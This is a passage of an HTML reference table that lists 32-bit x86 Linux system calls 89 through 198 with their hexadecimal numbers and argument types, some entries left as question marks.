style="text-align:center">89</td><td style="text-align:center">readdir</td><td style="text-align:center">59</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">90</td><td style="text-align:center">mmap</td><td style="text-align:center">5A</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">91</td><td style="text-align:center">munmap</td><td style="text-align:center">5B</td><td style="text-align:center">unsigned long addr</td><td style="text-align:center">size_t len</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">92</td><td style="text-align:center">truncate</td><td style="text-align:center">5C</td><td style="text-align:center">const char *path</td><td style="text-align:center">long length</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">93</td><td style="text-align:center">ftruncate</td><td style="text-align:center">5D</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">unsigned long length</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">94</td><td style="text-align:center">fchmod</td><td style="text-align:center">5E</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">umode_t mode</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">95</td><td style="text-align:center">fchown</td><td style="text-align:center">5F</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">uid_t user</td><td style="text-align:center">gid_t group</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">96</td><td style="text-align:center">getpriority</td><td style="text-align:center">60</td><td style="text-align:center">int which</td><td style="text-align:center">int who</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">97</td><td style="text-align:center">setpriority</td><td style="text-align:center">61</td><td style="text-align:center">int which</td><td style="text-align:center">int who</td><td style="text-align:center">int niceval</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">98</td><td style="text-align:center">profil</td><td style="text-align:center">62</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">99</td><td style="text-align:center">statfs</td><td style="text-align:center">63</td><td style="text-align:center">const char * path</td><td style="text-align:center">struct statfs *buf</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">100</td><td style="text-align:center">fstatfs</td><td style="text-align:center">64</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">struct statfs *buf</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">101</td><td style="text-align:center">ioperm</td><td style="text-align:center">65</td><td style="text-align:center">unsigned long from</td><td style="text-align:center">unsigned long num</td><td style="text-align:center">int on</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">102</td><td style="text-align:center">socketcall</td><td style="text-align:center">66</td><td style="text-align:center">int call</td><td style="text-align:center">unsigned long *args</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">103</td><td style="text-align:center">syslog</td><td style="text-align:center">67</td><td style="text-align:center">int type</td><td style="text-align:center">char *buf</td><td style="text-align:center">int len</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">104</td><td style="text-align:center">setitimer</td><td style="text-align:center">68</td><td style="text-align:center">int which</td><td style="text-align:center">struct itimerval *value</td><td style="text-align:center">struct itimerval *ovalue</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">105</td><td style="text-align:center">getitimer</td><td style="text-align:center">69</td><td style="text-align:center">int which</td><td style="text-align:center">struct itimerval *value</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">106</td><td style="text-align:center">stat</td><td style="text-align:center">6A</td><td style="text-align:center">const char *filename</td><td style="text-align:center">struct __old_kernel_stat *statbuf</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">107</td><td style="text-align:center">lstat</td><td style="text-align:center">6B</td><td style="text-align:center">const char *filename</td><td style="text-align:center">struct __old_kernel_stat *statbuf</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">108</td><td style="text-align:center">fstat</td><td style="text-align:center">6C</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">struct __old_kernel_stat *statbuf</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">109</td><td style="text-align:center">olduname</td><td style="text-align:center">6D</td><td style="text-align:center">struct oldold_utsname *</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">110</td><td style="text-align:center">iopl</td><td style="text-align:center">6E</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">111</td><td style="text-align:center">vhangup</td><td style="text-align:center">6F</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">112</td><td style="text-align:center">idle</td><td style="text-align:center">70</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">113</td><td style="text-align:center">vm86old</td><td style="text-align:center">71</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">114</td><td style="text-align:center">wait4</td><td style="text-align:center">72</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">int *stat_addr</td><td style="text-align:center">int options</td><td style="text-align:center">struct rusage *ru</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">115</td><td style="text-align:center">swapoff</td><td style="text-align:center">73</td><td style="text-align:center">const char *specialfile</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">116</td><td style="text-align:center">sysinfo</td><td style="text-align:center">74</td><td style="text-align:center">struct sysinfo *info</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">117</td><td style="text-align:center">ipc</td><td style="text-align:center">75</td><td style="text-align:center">unsigned int call</td><td style="text-align:center">int first</td><td style="text-align:center">unsigned long second</td><td style="text-align:center">unsigned long third</td><td style="text-align:center">void *ptr</td><td style="text-align:center">long fifth</td></tr><tr><td style="text-align:center">118</td><td style="text-align:center">fsync</td><td style="text-align:center">76</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">119</td><td style="text-align:center">sigreturn</td><td style="text-align:center">77</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">120</td><td style="text-align:center">clone</td><td style="text-align:center">78</td><td style="text-align:center">unsigned long</td><td style="text-align:center">unsigned long</td><td style="text-align:center">int *</td><td style="text-align:center">int *</td><td style="text-align:center">unsigned long</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">121</td><td style="text-align:center">setdomainname</td><td style="text-align:center">79</td><td style="text-align:center">char *name</td><td style="text-align:center">int len</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">122</td><td style="text-align:center">uname</td><td style="text-align:center">7A</td><td style="text-align:center">struct old_utsname *</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">123</td><td style="text-align:center">modify_ldt</td><td style="text-align:center">7B</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">124</td><td style="text-align:center">adjtimex</td><td style="text-align:center">7C</td><td style="text-align:center">struct timex *txc_p</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">125</td><td style="text-align:center">mprotect</td><td style="text-align:center">7D</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">size_t len</td><td style="text-align:center">unsigned long prot</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">126</td><td style="text-align:center">sigprocmask</td><td style="text-align:center">7E</td><td style="text-align:center">int how</td><td style="text-align:center">old_sigset_t *set</td><td style="text-align:center">old_sigset_t *oset</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">127</td><td style="text-align:center">create_module</td><td style="text-align:center">7F</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">128</td><td style="text-align:center">init_module</td><td style="text-align:center">80</td><td style="text-align:center">void *umod</td><td style="text-align:center">unsigned long len</td><td style="text-align:center">const char *uargs</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">129</td><td style="text-align:center">delete_module</td><td style="text-align:center">81</td><td style="text-align:center">const char *name_user</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">130</td><td style="text-align:center">get_kernel_syms</td><td style="text-align:center">82</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">131</td><td style="text-align:center">quotactl</td><td style="text-align:center">83</td><td style="text-align:center">unsigned int cmd</td><td style="text-align:center">const char *special</td><td style="text-align:center">qid_t id</td><td style="text-align:center">void *addr</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">132</td><td style="text-align:center">getpgid</td><td style="text-align:center">84</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">133</td><td style="text-align:center">fchdir</td><td style="text-align:center">85</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">134</td><td style="text-align:center">bdflush</td><td style="text-align:center">86</td><td style="text-align:center">int func</td><td style="text-align:center">long data</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">135</td><td style="text-align:center">sysfs</td><td style="text-align:center">87</td><td style="text-align:center">int option</td><td style="text-align:center">unsigned long arg1</td><td style="text-align:center">unsigned long arg2</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">136</td><td style="text-align:center">personality</td><td style="text-align:center">88</td><td style="text-align:center">unsigned int personality</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">137</td><td style="text-align:center">afs_syscall</td><td style="text-align:center">89</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">138</td><td style="text-align:center">setfsuid</td><td style="text-align:center">8A</td><td style="text-align:center">uid_t uid</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">139</td><td style="text-align:center">setfsgid</td><td style="text-align:center">8B</td><td style="text-align:center">gid_t gid</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">140</td><td style="text-align:center">_llseek</td><td style="text-align:center">8C</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">141</td><td style="text-align:center">getdents</td><td style="text-align:center">8D</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">struct linux_dirent *dirent</td><td style="text-align:center">unsigned int count</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">142</td><td style="text-align:center">_newselect</td><td style="text-align:center">8E</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">143</td><td style="text-align:center">flock</td><td style="text-align:center">8F</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">unsigned int cmd</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">144</td><td style="text-align:center">msync</td><td style="text-align:center">90</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">size_t len</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">145</td><td style="text-align:center">readv</td><td style="text-align:center">91</td><td style="text-align:center">unsigned long fd</td><td style="text-align:center">const struct iovec *vec</td><td style="text-align:center">unsigned long vlen</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">146</td><td style="text-align:center">writev</td><td style="text-align:center">92</td><td style="text-align:center">unsigned long fd</td><td style="text-align:center">const struct iovec *vec</td><td style="text-align:center">unsigned long vlen</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">147</td><td style="text-align:center">getsid</td><td style="text-align:center">93</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">148</td><td style="text-align:center">fdatasync</td><td style="text-align:center">94</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">149</td><td style="text-align:center">_sysctl</td><td style="text-align:center">95</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">150</td><td style="text-align:center">mlock</td><td style="text-align:center">96</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">size_t len</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">151</td><td style="text-align:center">munlock</td><td style="text-align:center">97</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">size_t len</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">152</td><td style="text-align:center">mlockall</td><td style="text-align:center">98</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">153</td><td style="text-align:center">munlockall</td><td style="text-align:center">99</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">154</td><td style="text-align:center">sched_setparam</td><td style="text-align:center">9A</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">struct sched_param *param</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">155</td><td style="text-align:center">sched_getparam</td><td style="text-align:center">9B</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">struct sched_param *param</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">156</td><td style="text-align:center">sched_setscheduler</td><td style="text-align:center">9C</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">int policy</td><td style="text-align:center">struct sched_param *param</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">157</td><td style="text-align:center">sched_getscheduler</td><td style="text-align:center">9D</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">158</td><td style="text-align:center">sched_yield</td><td style="text-align:center">9E</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">159</td><td style="text-align:center">sched_get_priority_max</td><td style="text-align:center">9F</td><td style="text-align:center">int policy</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">160</td><td style="text-align:center">sched_get_priority_min</td><td style="text-align:center">A0</td><td style="text-align:center">int policy</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">161</td><td style="text-align:center">sched_rr_get_interval</td><td style="text-align:center">A1</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">struct timespec *interval</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">162</td><td style="text-align:center">nanosleep</td><td style="text-align:center">A2</td><td style="text-align:center">struct __kernel_timespec *rqtp</td><td style="text-align:center">struct __kernel_timespec *rmtp</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">163</td><td style="text-align:center">mremap</td><td style="text-align:center">A3</td><td style="text-align:center">unsigned long addr</td><td style="text-align:center">unsigned long old_len</td><td style="text-align:center">unsigned long new_len</td><td style="text-align:center">unsigned long flags</td><td style="text-align:center">unsigned long new_addr</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">164</td><td style="text-align:center">setresuid</td><td style="text-align:center">A4</td><td style="text-align:center">uid_t ruid</td><td style="text-align:center">uid_t euid</td><td style="text-align:center">uid_t suid</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">165</td><td style="text-align:center">getresuid</td><td style="text-align:center">A5</td><td style="text-align:center">uid_t *ruid</td><td style="text-align:center">uid_t *euid</td><td style="text-align:center">uid_t *suid</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">166</td><td style="text-align:center">vm86</td><td style="text-align:center">A6</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">167</td><td style="text-align:center">query_module</td><td style="text-align:center">A7</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">168</td><td style="text-align:center">poll</td><td style="text-align:center">A8</td><td style="text-align:center">struct pollfd *ufds</td><td style="text-align:center">unsigned int nfds</td><td style="text-align:center">int timeout</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">169</td><td style="text-align:center">nfsservctl</td><td style="text-align:center">A9</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">170</td><td style="text-align:center">setresgid</td><td style="text-align:center">AA</td><td style="text-align:center">gid_t rgid</td><td style="text-align:center">gid_t egid</td><td style="text-align:center">gid_t sgid</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">171</td><td style="text-align:center">getresgid</td><td style="text-align:center">AB</td><td style="text-align:center">gid_t *rgid</td><td style="text-align:center">gid_t *egid</td><td style="text-align:center">gid_t *sgid</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">172</td><td style="text-align:center">prctl</td><td style="text-align:center">AC</td><td style="text-align:center">int option</td><td style="text-align:center">unsigned long arg2</td><td style="text-align:center">unsigned long arg3</td><td style="text-align:center">unsigned long arg4</td><td style="text-align:center">unsigned long arg5</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">173</td><td style="text-align:center">rt_sigreturn</td><td style="text-align:center">AD</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">174</td><td style="text-align:center">rt_sigaction</td><td style="text-align:center">AE</td><td style="text-align:center">int</td><td style="text-align:center">const struct sigaction *</td><td style="text-align:center">struct sigaction *</td><td style="text-align:center">size_t</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">175</td><td style="text-align:center">rt_sigprocmask</td><td style="text-align:center">AF</td><td style="text-align:center">int how</td><td style="text-align:center">sigset_t *set</td><td style="text-align:center">sigset_t *oset</td><td style="text-align:center">size_t sigsetsize</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">176</td><td style="text-align:center">rt_sigpending</td><td style="text-align:center">B0</td><td style="text-align:center">sigset_t *set</td><td style="text-align:center">size_t sigsetsize</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">177</td><td style="text-align:center">rt_sigtimedwait</td><td style="text-align:center">B1</td><td style="text-align:center">const sigset_t *uthese</td><td style="text-align:center">siginfo_t *uinfo</td><td style="text-align:center">const struct timespec *uts</td><td style="text-align:center">size_t sigsetsize</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">178</td><td style="text-align:center">rt_sigqueueinfo</td><td style="text-align:center">B2</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">int sig</td><td style="text-align:center">siginfo_t *uinfo</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">179</td><td style="text-align:center">rt_sigsuspend</td><td style="text-align:center">B3</td><td style="text-align:center">sigset_t *unewset</td><td style="text-align:center">size_t sigsetsize</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">180</td><td style="text-align:center">pread64</td><td style="text-align:center">B4</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">char *buf</td><td style="text-align:center">size_t count</td><td style="text-align:center">loff_t pos</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">181</td><td style="text-align:center">pwrite64</td><td style="text-align:center">B5</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">const char *buf</td><td style="text-align:center">size_t count</td><td style="text-align:center">loff_t pos</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">182</td><td style="text-align:center">chown</td><td style="text-align:center">B6</td><td style="text-align:center">const char *filename</td><td style="text-align:center">uid_t user</td><td style="text-align:center">gid_t group</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">183</td><td style="text-align:center">getcwd</td><td style="text-align:center">B7</td><td style="text-align:center">char *buf</td><td style="text-align:center">unsigned long size</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">184</td><td style="text-align:center">capget</td><td style="text-align:center">B8</td><td style="text-align:center">cap_user_header_t header</td><td style="text-align:center">cap_user_data_t dataptr</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">185</td><td style="text-align:center">capset</td><td style="text-align:center">B9</td><td style="text-align:center">cap_user_header_t header</td><td style="text-align:center">const cap_user_data_t data</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">186</td><td style="text-align:center">sigaltstack</td><td style="text-align:center">BA</td><td style="text-align:center">const struct sigaltstack *uss</td><td style="text-align:center">struct sigaltstack *uoss</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">187</td><td style="text-align:center">sendfile</td><td style="text-align:center">BB</td><td style="text-align:center">int out_fd</td><td style="text-align:center">int in_fd</td><td style="text-align:center">off_t *offset</td><td style="text-align:center">size_t count</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">188</td><td style="text-align:center">getpmsg</td><td style="text-align:center">BC</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">189</td><td style="text-align:center">putpmsg</td><td style="text-align:center">BD</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">190</td><td style="text-align:center">vfork</td><td style="text-align:center">BE</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">191</td><td style="text-align:center">ugetrlimit</td><td style="text-align:center">BF</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">192</td><td style="text-align:center">mmap2</td><td style="text-align:center">C0</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr><tr><td style="text-align:center">193</td><td style="text-align:center">truncate64</td><td style="text-align:center">C1</td><td style="text-align:center">const char *path</td><td style="text-align:center">loff_t length</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">194</td><td style="text-align:center">ftruncate64</td><td style="text-align:center">C2</td><td style="text-align:center">unsigned int fd</td><td style="text-align:center">loff_t length</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">195</td><td style="text-align:center">stat64</td><td style="text-align:center">C3</td><td style="text-align:center">const char *filename</td><td style="text-align:center">struct stat64 *statbuf</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">196</td><td style="text-align:center">lstat64</td><td style="text-align:center">C4</td><td style="text-align:center">const char *filename</td><td style="text-align:center">struct stat64 *statbuf</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">197</td><td style="text-align:center">fstat64</td><td style="text-align:center">C5</td><td style="text-align:center">unsigned long fd</td><td style="text-align:center">struct stat64 *statbuf</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">198</td><td style="text-align:center">lchown32</td><td style="text-align:center">C6</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td 